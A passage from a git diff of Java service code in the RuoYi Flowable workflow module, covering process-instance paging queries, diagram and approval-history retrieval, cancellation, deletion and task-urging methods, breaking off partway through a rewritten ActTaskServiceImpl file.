BeanUtil.toBean(processInstance, ProcessInstanceVo.class); + processInstanceVo.setIsSuspended(processInstance.isSuspended()); + processInstanceVo.setBusinessStatusName(BusinessStatusEnum.findByStatus(processInstance.getBusinessStatus())); + list.add(processInstanceVo); + } + if (CollUtil.isNotEmpty(list)) { + List processDefinitionIds = StreamUtils.toList(list, ProcessInstanceVo::getProcessDefinitionId); + List wfNodeConfigVoList = wfNodeConfigService.selectByDefIds(processDefinitionIds); + for (ProcessInstanceVo processInstanceVo : list) { + if (CollUtil.isNotEmpty(wfNodeConfigVoList)) { + wfNodeConfigVoList.stream().filter(e -> e.getDefinitionId().equals(processInstanceVo.getProcessDefinitionId()) && FlowConstant.TRUE.equals(e.getApplyUserTask())).findFirst().ifPresent(processInstanceVo::setWfNodeConfigVo); + } + } + } + long count = query.count(); + TableDataInfo build = TableDataInfo.build(); + build.setRows(list); + build.setTotal(count); + return build; + } + + /** + * 分页查询已结束的流程实例 + * + * @param bo 参数 + */ + @Override + public TableDataInfo getPageByFinish(ProcessInstanceBo bo, PageQuery pageQuery) { + List list = new ArrayList<>(); + HistoricProcessInstanceQuery query = QueryUtils.hisInstanceQuery() + .finished().orderByProcessInstanceEndTime().desc(); + if (StringUtils.isNotEmpty(bo.getName())) { + query.processInstanceNameLikeIgnoreCase("%" + bo.getName() + "%"); + } + if (StringUtils.isNotBlank(bo.getKey())) { + query.processDefinitionKey(bo.getKey()); + } + if (StringUtils.isNotEmpty(bo.getStartUserId())) { + query.startedBy(bo.getStartUserId()); + } + if (StringUtils.isNotBlank(bo.getBusinessKey())) { + query.processInstanceBusinessKey(bo.getBusinessKey()); + } + if (StringUtils.isNotBlank(bo.getCategoryCode())) { + query.processDefinitionCategory(bo.getCategoryCode()); + } + List historicProcessInstances = query.listPage(pageQuery.getFirstNum(), pageQuery.getPageSize()); + for (HistoricProcessInstance historicProcessInstance : historicProcessInstances) { + ProcessInstanceVo processInstanceVo = BeanUtil.toBean(historicProcessInstance, ProcessInstanceVo.class); + processInstanceVo.setBusinessStatusName(BusinessStatusEnum.findByStatus(historicProcessInstance.getBusinessStatus())); + list.add(processInstanceVo); + } + if (CollUtil.isNotEmpty(list)) { + List processDefinitionIds = StreamUtils.toList(list, ProcessInstanceVo::getProcessDefinitionId); + List wfNodeConfigVoList = wfNodeConfigService.selectByDefIds(processDefinitionIds); + for (ProcessInstanceVo processInstanceVo : list) { + if (CollUtil.isNotEmpty(wfNodeConfigVoList)) { + wfNodeConfigVoList.stream().filter(e -> e.getDefinitionId().equals(processInstanceVo.getProcessDefinitionId()) && FlowConstant.TRUE.equals(e.getApplyUserTask())).findFirst().ifPresent(processInstanceVo::setWfNodeConfigVo); + } + } + } + long count = query.count(); + TableDataInfo build = TableDataInfo.build(); + build.setRows(list); + build.setTotal(count); + return build; + } + + /** + * 通过业务id获取历史流程图 + * + * @param businessKey 业务id + */ + @SneakyThrows + @Override + public String getHistoryImage(String businessKey) { + String processDefinitionId; + // 获取当前的流程实例 + ProcessInstance processInstance = QueryUtils.businessKeyQuery(businessKey).singleResult(); + // 如果流程已经结束,则得到结束节点 + if (Objects.isNull(processInstance)) { + HistoricProcessInstance pi = QueryUtils.hisInstanceQuery().processInstanceBusinessKey(businessKey).singleResult(); + processDefinitionId = pi.getProcessDefinitionId(); + } else { + // 根据流程实例ID获得当前处于活动状态的ActivityId合集 + ProcessInstance pi = QueryUtils.instanceQuery(processInstance.getProcessInstanceId()).singleResult(); + processDefinitionId = pi.getProcessDefinitionId(); + } + + // 获得活动的节点 + List highLightedFlowList = QueryUtils.hisActivityInstanceQuery(processInstance.getProcessInstanceId()).orderByHistoricActivityInstanceStartTime().asc().list(); + + List highLightedFlows = new ArrayList<>(); + List highLightedNodes = new ArrayList<>(); + //高亮 + for (HistoricActivityInstance tempActivity : highLightedFlowList) { + if (FlowConstant.SEQUENCE_FLOW.equals(tempActivity.getActivityType())) { + //高亮线 + highLightedFlows.add(tempActivity.getActivityId()); + } else { + //高亮节点 + if (tempActivity.getEndTime() == null) { + highLightedNodes.add(Color.RED.toString() + tempActivity.getActivityId()); + } else { + highLightedNodes.add(tempActivity.getActivityId()); + } + } + } + List highLightedNodeList = new ArrayList<>(); + //运行中的节点 + List redNodeCollect = StreamUtils.filter(highLightedNodes, e -> e.contains(Color.RED.toString())); + //排除与运行中相同的节点 + for (String nodeId : highLightedNodes) { + if (!nodeId.contains(Color.RED.toString()) && !redNodeCollect.contains(Color.RED + nodeId)) { + highLightedNodeList.add(nodeId); + } + } + highLightedNodeList.addAll(redNodeCollect); + BpmnModel bpmnModel = repositoryService.getBpmnModel(processDefinitionId); + CustomDefaultProcessDiagramGenerator diagramGenerator = new CustomDefaultProcessDiagramGenerator(); + InputStream inputStream = diagramGenerator.generateDiagram(bpmnModel, "png", highLightedNodeList, highLightedFlows, activityFontName, labelFontName, annotationFontName, null, 1.0, true); + return Base64.encode(IoUtil.readBytes(inputStream)); + } + + /** + * 通过业务id获取历史流程图运行中,历史等节点 + * + * @param businessKey 业务id + */ + @Override + public Map getHistoryList(String businessKey) { + Map map = new HashMap<>(); + List> taskList = new ArrayList<>(); + HistoricProcessInstance historicProcessInstance = QueryUtils.hisBusinessKeyQuery(businessKey).singleResult(); + String processInstanceId = historicProcessInstance.getId(); + StringBuilder xml = new StringBuilder(); + ProcessDefinition processDefinition = repositoryService.getProcessDefinition(historicProcessInstance.getProcessDefinitionId()); + // 获取节点 + List highLightedFlowList = QueryUtils.hisActivityInstanceQuery(processInstanceId).orderByHistoricActivityInstanceStartTime().asc().list(); + for (HistoricActivityInstance tempActivity : highLightedFlowList) { + Map task = new HashMap<>(); + switch (tempActivity.getActivityType()) { + case FlowConstant.SEQUENCE_FLOW, FlowConstant.PARALLEL_GATEWAY, + FlowConstant.EXCLUSIVE_GATEWAY, FlowConstant.INCLUSIVE_GATEWAY -> {} + default -> { + task.put("key", tempActivity.getActivityId()); + task.put("completed", tempActivity.getEndTime() != null); + task.put("activityType", tempActivity.getActivityType()); + taskList.add(task); + } + } + } + ProcessInstance processInstance = QueryUtils.instanceQuery(processInstanceId).singleResult(); + if (processInstance != null) { + taskList = StreamUtils.filter(taskList, e -> !e.get("activityType").equals(FlowConstant.END_EVENT)); + } + //查询出运行中节点 + List> runtimeNodeList = StreamUtils.filter(taskList, e -> !(Boolean) e.get("completed")); + if (CollUtil.isNotEmpty(runtimeNodeList)) { + Iterator> iterator = taskList.iterator(); + while (iterator.hasNext()) { + Map next = iterator.next(); + runtimeNodeList.stream().filter(t -> t.get("key").equals(next.get("key")) && (Boolean) next.get("completed")).findFirst().ifPresent(t -> iterator.remove()); + } + } + map.put("taskList", taskList); + List historyTaskList = getHistoryTaskList(processInstanceId, processDefinition.getVersion()); + map.put("historyList", historyTaskList); + InputStream inputStream = repositoryService.getResourceAsStream(processDefinition.getDeploymentId(), processDefinition.getResourceName()); + xml.append(IoUtil.read(inputStream, StandardCharsets.UTF_8)); + map.put("xml", xml.toString()); + return map; + } + + /** + * 获取历史任务节点信息 + * + * @param processInstanceId 流程实例id + * @param version 版本 + */ + private List getHistoryTaskList(String processInstanceId, Integer version) { + //查询任务办理记录 + List list = QueryUtils.hisTaskInstanceQuery(processInstanceId).orderByHistoricTaskInstanceEndTime().desc().list(); + list = StreamUtils.sorted(list, Comparator.comparing(HistoricTaskInstance::getEndTime, Comparator.nullsFirst(Date::compareTo)).reversed()); + List actHistoryInfoVoList = new ArrayList<>(); + for (HistoricTaskInstance historicTaskInstance : list) { + ActHistoryInfoVo actHistoryInfoVo = new ActHistoryInfoVo(); + BeanUtils.copyProperties(historicTaskInstance, actHistoryInfoVo); + actHistoryInfoVo.setStatus(actHistoryInfoVo.getEndTime() == null ? "待处理" : "已处理"); + if (ObjectUtil.isNotEmpty(historicTaskInstance.getDurationInMillis())) { + actHistoryInfoVo.setRunDuration(getDuration(historicTaskInstance.getDurationInMillis())); + } + actHistoryInfoVo.setVersion(version); + actHistoryInfoVoList.add(actHistoryInfoVo); + } + List historyInfoVoList = new ArrayList<>(); + Map> groupByKey = StreamUtils.groupByKey(actHistoryInfoVoList, ActHistoryInfoVo::getTaskDefinitionKey); + for (Map.Entry> entry : groupByKey.entrySet()) { + ActHistoryInfoVo historyInfoVo = new ActHistoryInfoVo(); + if (entry.getValue().size() > 1) { + List historyInfoVos = StreamUtils.filter(entry.getValue(), e -> StringUtils.isNotBlank(e.getAssignee())); + if (CollUtil.isNotEmpty(historyInfoVos)) { + ActHistoryInfoVo infoVo = historyInfoVos.get(0); + BeanUtils.copyProperties(infoVo, historyInfoVo); + historyInfoVo.setStatus(infoVo.getEndTime() == null ? "待处理" : "已处理"); + historyInfoVo.setStartTime(infoVo.getStartTime()); + historyInfoVo.setEndTime(infoVo.getEndTime() == null ? null : infoVo.getEndTime()); + historyInfoVo.setRunDuration(infoVo.getEndTime() == null ? null : infoVo.getRunDuration()); + if (ObjectUtil.isEmpty(infoVo.getAssignee())) { + ParticipantVo participantVo = WorkflowUtils.getCurrentTaskParticipant(infoVo.getId(), userService); + if (ObjectUtil.isNotEmpty(participantVo) && CollUtil.isNotEmpty(participantVo.getCandidate())) { + historyInfoVo.setAssignee(StreamUtils.join(participantVo.getCandidate(), Convert::toStr)); + } + } + } + } else { + actHistoryInfoVoList.stream().filter(e -> e.getTaskDefinitionKey().equals(entry.getKey())).findFirst() + .ifPresent(e -> { + BeanUtils.copyProperties(e, historyInfoVo); + historyInfoVo.setStatus(e.getEndTime() == null ? "待处理" : "已处理"); + historyInfoVo.setStartTime(e.getStartTime()); + historyInfoVo.setEndTime(e.getEndTime() == null ? null : e.getEndTime()); + historyInfoVo.setRunDuration(e.getEndTime() == null ? null : e.getRunDuration()); + if (ObjectUtil.isEmpty(e.getAssignee())) { + ParticipantVo participantVo = WorkflowUtils.getCurrentTaskParticipant(e.getId(), userService); + if (ObjectUtil.isNotEmpty(participantVo) && CollUtil.isNotEmpty(participantVo.getCandidate())) { + historyInfoVo.setAssignee(StreamUtils.join(participantVo.getCandidate(), Convert::toStr)); + } + } + }); + + } + historyInfoVoList.add(historyInfoVo); + + } + return historyInfoVoList; + } + + /** + * 获取审批记录 + * + * @param businessKey 业务id + */ + @Override + public List getHistoryRecord(String businessKey) { + // 查询任务办理记录 + List list = QueryUtils.hisTaskBusinessKeyQuery(businessKey).orderByHistoricTaskInstanceEndTime().desc().list(); + list = StreamUtils.sorted(list, Comparator.comparing(HistoricTaskInstance::getEndTime, Comparator.nullsFirst(Date::compareTo)).reversed()); + HistoricProcessInstance historicProcessInstance = QueryUtils.hisBusinessKeyQuery(businessKey).singleResult(); + String processInstanceId = historicProcessInstance.getId(); + List actHistoryInfoVoList = new ArrayList<>(); + List processInstanceComments = taskService.getProcessInstanceComments(processInstanceId); + //附件 + List attachmentList = taskService.getProcessInstanceAttachments(processInstanceId); + for (HistoricTaskInstance historicTaskInstance : list) { + ActHistoryInfoVo actHistoryInfoVo = new ActHistoryInfoVo(); + BeanUtils.copyProperties(historicTaskInstance, actHistoryInfoVo); + if (actHistoryInfoVo.getEndTime() == null) { + actHistoryInfoVo.setStatus(TaskStatusEnum.WAITING.getStatus()); + actHistoryInfoVo.setStatusName(TaskStatusEnum.WAITING.getDesc()); + } + if (CollUtil.isNotEmpty(processInstanceComments)) { + processInstanceComments.stream().filter(e -> e.getTaskId().equals(historicTaskInstance.getId())).findFirst().ifPresent(e -> { + actHistoryInfoVo.setComment(e.getFullMessage()); + actHistoryInfoVo.setStatus(e.getType()); + actHistoryInfoVo.setStatusName(TaskStatusEnum.findByStatus(e.getType())); + }); + } + if (ObjectUtil.isNotEmpty(historicTaskInstance.getDurationInMillis())) { + actHistoryInfoVo.setRunDuration(getDuration(historicTaskInstance.getDurationInMillis())); + } + //附件 + if (CollUtil.isNotEmpty(attachmentList)) { + List attachments = StreamUtils.filter(attachmentList, e -> e.getTaskId().equals(historicTaskInstance.getId())); + if (CollUtil.isNotEmpty(attachments)) { + actHistoryInfoVo.setAttachmentList(attachments); + } + } + //设置人员id + if (ObjectUtil.isEmpty(historicTaskInstance.getAssignee())) { + ParticipantVo participantVo = WorkflowUtils.getCurrentTaskParticipant(historicTaskInstance.getId(), userService); + if (ObjectUtil.isNotEmpty(participantVo) && CollUtil.isNotEmpty(participantVo.getCandidate())) { + actHistoryInfoVo.setAssignee(StreamUtils.join(participantVo.getCandidate(), Convert::toStr)); + } + } + actHistoryInfoVoList.add(actHistoryInfoVo); + } + // 审批记录 + Map> groupByKey = StreamUtils.groupByKey(actHistoryInfoVoList, ActHistoryInfoVo::getTaskDefinitionKey); + for (Map.Entry> entry : groupByKey.entrySet()) { + ActHistoryInfoVo actHistoryInfoVo = BeanUtil.toBean(entry.getValue().get(0), ActHistoryInfoVo.class); + actHistoryInfoVoList.stream().filter(e -> e.getTaskDefinitionKey().equals(entry.getKey()) && e.getEndTime() != null).findFirst() + .ifPresent(e -> { + actHistoryInfoVo.setStatus("已处理"); + actHistoryInfoVo.setStartTime(e.getStartTime()); + }); + actHistoryInfoVoList.stream().filter(e -> e.getTaskDefinitionKey().equals(entry.getKey()) && e.getEndTime() == null).findFirst() + .ifPresent(e -> { + actHistoryInfoVo.setStatus("待处理"); + actHistoryInfoVo.setStartTime(e.getStartTime()); + actHistoryInfoVo.setEndTime(null); + actHistoryInfoVo.setRunDuration(null); + }); + } + List recordList = new ArrayList<>(); + // 待办理 + recordList.addAll(StreamUtils.filter(actHistoryInfoVoList, e -> e.getEndTime() == null)); + // 已办理 + recordList.addAll(StreamUtils.filter(actHistoryInfoVoList, e -> e.getEndTime() != null)); + + return recordList; + } + + /** + * 任务完成时间处理 + * + * @param time 时间 + */ + private String getDuration(long time) { + + long day = time / (24 * 60 * 60 * 1000); + long hour = (time / (60 * 60 * 1000) - day * 24); + long minute = ((time / (60 * 1000)) - day * 24 * 60 - hour * 60); + long second = (time / 1000 - day * 24 * 60 * 60 - hour * 60 * 60 - minute * 60); + + if (day > 0) { + return day + "天" + hour + "小时" + minute + "分钟"; + } + if (hour > 0) { + return hour + "小时" + minute + "分钟"; + } + if (minute > 0) { + return minute + "分钟"; + } + if (second > 0) { + return second + "秒"; + } else { + return 0 + "秒"; + } + } + + /** + * 作废流程实例,不会删除历史记录(删除运行中的实例) + * + * @param processInvalidBo 参数 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public boolean deleteRunInstance(ProcessInvalidBo processInvalidBo) { + try { + List list = QueryUtils.taskQuery().processInstanceBusinessKey(processInvalidBo.getBusinessKey()).list(); + String processInstanceId = list.get(0).getProcessInstanceId(); + List subTasks = StreamUtils.filter(list, e -> StringUtils.isNotBlank(e.getParentTaskId())); + if (CollUtil.isNotEmpty(subTasks)) { + subTasks.forEach(e -> taskService.deleteTask(e.getId())); + } + String deleteReason = LoginHelper.getLoginUser().getNickname() + "作废了当前申请!"; + if (StringUtils.isNotBlank(processInvalidBo.getDeleteReason())) { + deleteReason = LoginHelper.getLoginUser().getNickname() + "作废理由:" + processInvalidBo.getDeleteReason(); + } + for (Task task : StreamUtils.filter(list, e -> StringUtils.isBlank(e.getParentTaskId()))) { + taskService.addComment(task.getId(), task.getProcessInstanceId(), TaskStatusEnum.INVALID.getStatus(), deleteReason); + } + HistoricProcessInstance historicProcessInstance = QueryUtils.hisInstanceQuery(processInstanceId).singleResult(); + BusinessStatusEnum.checkInvalidStatus(historicProcessInstance.getBusinessStatus()); + runtimeService.updateBusinessStatus(processInstanceId, BusinessStatusEnum.INVALID.getStatus()); + runtimeService.deleteProcessInstance(processInstanceId, deleteReason); + //流程作废监听 + flowProcessEventHandler.processHandler(historicProcessInstance.getProcessDefinitionKey(), + historicProcessInstance.getBusinessKey(), BusinessStatusEnum.INVALID.getStatus(), false); + return true; + } catch (Exception e) { + log.error(e.getMessage(), e); + throw new ServiceException(e.getMessage()); + } + } + + /** + * 运行中的实例 删除程实例,删除历史记录,删除业务与流程关联信息 + * + * @param businessKeys 业务id + */ + @Override + @Transactional(rollbackFor = Exception.class) + public boolean deleteRunAndHisInstance(List businessKeys) { + try { + // 1.删除运行中流程实例 + List actHiProcinsts = actHiProcinstService.selectByBusinessKeyIn(businessKeys); + if (CollUtil.isEmpty(actHiProcinsts)) { + log.warn("当前业务ID:{}查询到流程实例为空!", businessKeys); + return false; + } + List processInstanceIds = StreamUtils.toList(actHiProcinsts, ActHiProcinst::getId); + List list = QueryUtils.taskQuery(processInstanceIds).list(); + List subTasks = StreamUtils.filter(list, e -> StringUtils.isNotBlank(e.getParentTaskId())); + if (CollUtil.isNotEmpty(subTasks)) { + subTasks.forEach(e -> taskService.deleteTask(e.getId())); + } + runtimeService.bulkDeleteProcessInstances(processInstanceIds, LoginHelper.getUserId() + "删除了当前流程申请"); + // 2.删除历史记录 + List historicProcessInstanceList = QueryUtils.hisInstanceQuery(new HashSet<>(processInstanceIds)).list(); + if (ObjectUtil.isNotEmpty(historicProcessInstanceList)) { + historyService.bulkDeleteHistoricProcessInstances(processInstanceIds); + } + wfTaskBackNodeService.deleteByInstanceIds(processInstanceIds); + return true; + } catch (Exception e) { + log.error(e.getMessage(), e); + throw new ServiceException(e.getMessage()); + } + } + + /** + * 已完成的实例 删除程实例,删除历史记录,删除业务与流程关联信息 + * + * @param businessKeys 业务id + */ + @Override + @Transactional(rollbackFor = Exception.class) + public boolean deleteFinishAndHisInstance(List businessKeys) { + try { + List actHiProcinsts = actHiProcinstService.selectByBusinessKeyIn(businessKeys); + if (CollUtil.isEmpty(actHiProcinsts)) { + log.warn("当前业务ID:{}查询到流程实例为空!", businessKeys); + return false; + } + List processInstanceIds = StreamUtils.toList(actHiProcinsts, ActHiProcinst::getId); + historyService.bulkDeleteHistoricProcessInstances(processInstanceIds); + wfTaskBackNodeService.deleteByInstanceIds(processInstanceIds); + return true; + } catch (Exception e) { + log.error(e.getMessage(), e); + throw new ServiceException(e.getMessage()); + } + } + + /** + * 撤销流程申请 + * + * @param businessKey 业务id + */ + @Override + @Transactional(rollbackFor = Exception.class) + public boolean cancelProcessApply(String businessKey) { + try { + ProcessInstance processInstance = QueryUtils.businessKeyQuery(businessKey) + .startedBy(String.valueOf(LoginHelper.getUserId())).singleResult(); + if (ObjectUtil.isNull(processInstance)) { + throw new ServiceException("您不是流程发起人,撤销失败!"); + } + if (processInstance.isSuspended()) { + throw new ServiceException(FlowConstant.MESSAGE_SUSPENDED); + } + String processInstanceId = processInstance.getId(); + BusinessStatusEnum.checkCancelStatus(processInstance.getBusinessStatus()); + List taskList = QueryUtils.taskQuery(processInstanceId).list(); + for (Task task : taskList) { + taskService.setAssignee(task.getId(), null); + taskService.addComment(task.getId(), processInstanceId, TaskStatusEnum.CANCEL.getStatus(), LoginHelper.getLoginUser().getNickname() + ":撤销申请"); + } + HistoricTaskInstance historicTaskInstance = QueryUtils.hisTaskInstanceQuery(processInstanceId).finished().orderByHistoricTaskInstanceEndTime().asc().list().get(0); + List nodeIds = StreamUtils.toList(taskList, Task::getTaskDefinitionKey); + runtimeService.createChangeActivityStateBuilder() + .processInstanceId(processInstanceId) + .moveActivityIdsToSingleActivityId(nodeIds, historicTaskInstance.getTaskDefinitionKey()).changeState(); + Task task = QueryUtils.taskQuery(processInstanceId).list().get(0); + taskService.setAssignee(task.getId(), historicTaskInstance.getAssignee()); + //获取并行网关执行后保留的执行实例数据 + ExecutionChildByExecutionIdCmd childByExecutionIdCmd = new ExecutionChildByExecutionIdCmd(task.getExecutionId()); + List executionEntities = managementService.executeCommand(childByExecutionIdCmd); + //删除流程实例垃圾数据 + for (ExecutionEntity executionEntity : executionEntities) { + DeleteExecutionCmd deleteExecutionCmd = new DeleteExecutionCmd(executionEntity.getId()); + managementService.executeCommand(deleteExecutionCmd); + } + runtimeService.updateBusinessStatus(processInstanceId, BusinessStatusEnum.CANCEL.getStatus()); + //流程作废监听 + flowProcessEventHandler.processHandler(processInstance.getProcessDefinitionKey(), + processInstance.getBusinessKey(), BusinessStatusEnum.CANCEL.getStatus(), false); + return true; + } catch (Exception e) { + log.error("撤销失败:" + e.getMessage(), e); + throw new ServiceException("撤销失败:" + e.getMessage()); + } + } + + /** + * 分页查询当前登录人单据 + * + * @param bo 参数 + */ + @Override + public TableDataInfo getPageByCurrent(ProcessInstanceBo bo, PageQuery pageQuery) { + List list = new ArrayList<>(); + HistoricProcessInstanceQuery query = QueryUtils.hisInstanceQuery(); + query.startedBy(String.valueOf(LoginHelper.getUserId())); + if (StringUtils.isNotBlank(bo.getName())) { + query.processInstanceNameLikeIgnoreCase("%" + bo.getName() + "%"); + } + if (StringUtils.isNotBlank(bo.getKey())) { + query.processDefinitionKey(bo.getKey()); + } + if (StringUtils.isNotBlank(bo.getBusinessKey())) { + query.processInstanceBusinessKey(bo.getBusinessKey()); + } + if (StringUtils.isNotBlank(bo.getCategoryCode())) { + query.processDefinitionCategory(bo.getCategoryCode()); + } + query.orderByProcessInstanceStartTime().desc(); + List historicProcessInstanceList = query.listPage(pageQuery.getFirstNum(), pageQuery.getPageSize()); + List taskVoList = new ArrayList<>(); + if (CollUtil.isNotEmpty(historicProcessInstanceList)) { + List processInstanceIds = StreamUtils.toList(historicProcessInstanceList, HistoricProcessInstance::getId); + List taskList = QueryUtils.taskQuery(processInstanceIds).list(); + for (Task task : taskList) { + taskVoList.add(BeanUtil.toBean(task, TaskVo.class)); + } + } + for (HistoricProcessInstance processInstance : historicProcessInstanceList) { + ProcessInstanceVo processInstanceVo = BeanUtil.toBean(processInstance, ProcessInstanceVo.class); + processInstanceVo.setBusinessStatusName(BusinessStatusEnum.findByStatus(processInstance.getBusinessStatus())); + if (CollUtil.isNotEmpty(taskVoList)) { + List collect = StreamUtils.filter(taskVoList, e -> e.getProcessInstanceId().equals(processInstance.getId())); + processInstanceVo.setTaskVoList(CollUtil.isNotEmpty(collect) ? collect : Collections.emptyList()); + } + list.add(processInstanceVo); + } + if (CollUtil.isNotEmpty(list)) { + List processDefinitionIds = StreamUtils.toList(list, ProcessInstanceVo::getProcessDefinitionId); + List wfNodeConfigVoList = wfNodeConfigService.selectByDefIds(processDefinitionIds); + for (ProcessInstanceVo processInstanceVo : list) { + if (CollUtil.isNotEmpty(wfNodeConfigVoList)) { + wfNodeConfigVoList.stream().filter(e -> e.getDefinitionId().equals(processInstanceVo.getProcessDefinitionId()) && FlowConstant.TRUE.equals(e.getApplyUserTask())).findFirst().ifPresent(processInstanceVo::setWfNodeConfigVo); + } + } + } + long count = query.count(); + TableDataInfo build = TableDataInfo.build(); + build.setRows(list); + build.setTotal(count); + return build; + } + + /** + * 任务催办(给当前任务办理人发送站内信,邮件,短信等) + * + * @param taskUrgingBo 任务催办 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public boolean taskUrging(TaskUrgingBo taskUrgingBo) { + try { + ProcessInstance processInstance = QueryUtils.instanceQuery(taskUrgingBo.getProcessInstanceId()).singleResult(); + if (processInstance == null) { + throw new ServiceException("任务已结束!"); + } + String message = taskUrgingBo.getMessage(); + if (StringUtils.isBlank(message)) { + message = "您的【" + processInstance.getName() + "】单据还未审批,请您及时处理。"; + } + List list = QueryUtils.taskQuery(taskUrgingBo.getProcessInstanceId()).list(); + WorkflowUtils.sendMessage(list, processInstance.getName(), taskUrgingBo.getMessageType(), message, userService); + } catch (ServiceException e) { + throw new ServiceException(e.getMessage()); + } + return true; + } +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/ActTaskServiceImpl.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/ActTaskServiceImpl.java index 26c4ea5..b78c1cb 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/ActTaskServiceImpl.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/ActTaskServiceImpl.java @@ -1,861 +1,861 @@ -package org.dromara.workflow.service.impl; - -import cn.hutool.core.bean.BeanUtil; -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.util.ObjectUtil; -import cn.hutool.core.util.StrUtil; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import lombok.RequiredArgsConstructor; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.domain.dto.RoleDTO; -import org.dromara.common.core.domain.dto.UserDTO; -import org.dromara.common.core.enums.BusinessStatusEnum; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.service.OssService; -import org.dromara.common.core.service.UserService; -import org.dromara.common.core.utils.StreamUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.common.tenant.helper.TenantHelper; -import org.dromara.workflow.common.constant.FlowConstant; -import org.dromara.workflow.common.enums.TaskStatusEnum; -import org.dromara.workflow.domain.ActHiTaskinst; -import org.dromara.workflow.domain.WfTaskBackNode; -import org.dromara.workflow.domain.bo.*; -import org.dromara.workflow.domain.vo.*; -import org.dromara.workflow.flowable.cmd.*; -import org.dromara.workflow.flowable.handler.FlowProcessEventHandler; -import org.dromara.workflow.mapper.ActHiTaskinstMapper; -import org.dromara.workflow.mapper.ActTaskMapper; -import org.dromara.workflow.service.IActTaskService; -import org.dromara.workflow.service.IWfDefinitionConfigService; -import org.dromara.workflow.service.IWfNodeConfigService; -import org.dromara.workflow.service.IWfTaskBackNodeService; -import org.dromara.workflow.utils.ModelUtils; -import org.dromara.workflow.utils.QueryUtils; -import org.dromara.workflow.utils.WorkflowUtils; -import org.flowable.common.engine.api.FlowableObjectNotFoundException; -import org.flowable.common.engine.impl.identity.Authentication; -import org.flowable.engine.*; -import org.flowable.engine.history.HistoricProcessInstance; -import org.flowable.engine.history.HistoricProcessInstanceQuery; -import org.flowable.engine.impl.bpmn.behavior.ParallelMultiInstanceBehavior; -import org.flowable.engine.impl.bpmn.behavior.SequentialMultiInstanceBehavior; -import org.flowable.engine.impl.persistence.entity.ExecutionEntity; -import org.flowable.engine.runtime.ProcessInstance; -import org.flowable.identitylink.api.history.HistoricIdentityLink; -import org.flowable.task.api.Task; -import org.flowable.task.api.TaskQuery; -import org.flowable.task.api.history.HistoricTaskInstance; -import org.flowable.task.service.impl.persistence.entity.TaskEntity; -import org.flowable.variable.api.persistence.entity.VariableInstance; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.scheduling.annotation.Async; -import org.springframework.stereotype.Service; -import org.springframework.transaction.annotation.Transactional; - -import java.util.*; -import java.util.stream.Collectors; - -import static org.dromara.workflow.common.constant.FlowConstant.*; - -/** - * 任务 服务层实现 - * - * @author may - */ -@Slf4j -@RequiredArgsConstructor -@Service -public class ActTaskServiceImpl implements IActTaskService { - - @Autowired(required = false) - private RuntimeService runtimeService; - @Autowired(required = false) - private TaskService taskService; - @Autowired(required = false) - private HistoryService historyService; - @Autowired(required = false) - private IdentityService identityService; - @Autowired(required = false) - private ManagementService managementService; - private final ActTaskMapper actTaskMapper; - private final IWfTaskBackNodeService wfTaskBackNodeService; - private final ActHiTaskinstMapper actHiTaskinstMapper; - private final IWfNodeConfigService wfNodeConfigService; - private final IWfDefinitionConfigService wfDefinitionConfigService; - private final FlowProcessEventHandler flowProcessEventHandler; - private final UserService userService; - private final OssService ossService; - - /** - * 启动任务 - * - * @param startProcessBo 启动流程参数 - */ - @Override - @Transactional(rollbackFor = Exception.class) - public Map startWorkFlow(StartProcessBo startProcessBo) { - Map map = new HashMap<>(); - if (StringUtils.isBlank(startProcessBo.getBusinessKey())) { - throw new ServiceException("启动工作流时必须包含业务ID"); - } - // 判断当前业务是否启动过流程 - HistoricProcessInstanceQuery query = QueryUtils.hisInstanceQuery(); - HistoricProcessInstance historicProcessInstance = query.processInstanceBusinessKey(startProcessBo.getBusinessKey()).singleResult(); - if (ObjectUtil.isNotEmpty(historicProcessInstance)) { - BusinessStatusEnum.checkStartStatus(historicProcessInstance.getBusinessStatus()); - } - List taskResult = QueryUtils.taskQuery().processInstanceBusinessKey(startProcessBo.getBusinessKey()).list(); - if (CollUtil.isNotEmpty(taskResult)) { - if (CollUtil.isNotEmpty(startProcessBo.getVariables())) { - taskService.setVariables(taskResult.get(0).getId(), startProcessBo.getVariables()); - } - map.put(PROCESS_INSTANCE_ID, taskResult.get(0).getProcessInstanceId()); - map.put("taskId", taskResult.get(0).getId()); - return map; - } - WfDefinitionConfigVo wfDefinitionConfigVo = wfDefinitionConfigService.getByTableNameLastVersion(startProcessBo.getTableName()); - if (wfDefinitionConfigVo == null) { - throw new ServiceException("请到流程定义绑定业务表名与流程KEY!"); - } - // 设置启动人 - identityService.setAuthenticatedUserId(String.valueOf(LoginHelper.getUserId())); - Authentication.setAuthenticatedUserId(String.valueOf(LoginHelper.getUserId())); - // 启动流程实例(提交申请) - Map variables = startProcessBo.getVariables(); - // 启动跳过表达式 - variables.put(FLOWABLE_SKIP_EXPRESSION_ENABLED, true); - // 流程发起人 - variables.put(INITIATOR, (String.valueOf(LoginHelper.getUserId()))); - ProcessInstance pi; - try { - if (TenantHelper.isEnable()) { - pi = runtimeService.startProcessInstanceByKeyAndTenantId(wfDefinitionConfigVo.getProcessKey(), startProcessBo.getBusinessKey(), variables, TenantHelper.getTenantId()); - } else { - pi = runtimeService.startProcessInstanceByKey(wfDefinitionConfigVo.getProcessKey(), startProcessBo.getBusinessKey(), variables); - } - } catch (FlowableObjectNotFoundException e) { - throw new ServiceException("找不到当前【" + wfDefinitionConfigVo.getProcessKey() + "】流程定义!"); - } - // 将流程定义名称 作为 流程实例名称 - runtimeService.setProcessInstanceName(pi.getProcessInstanceId(), 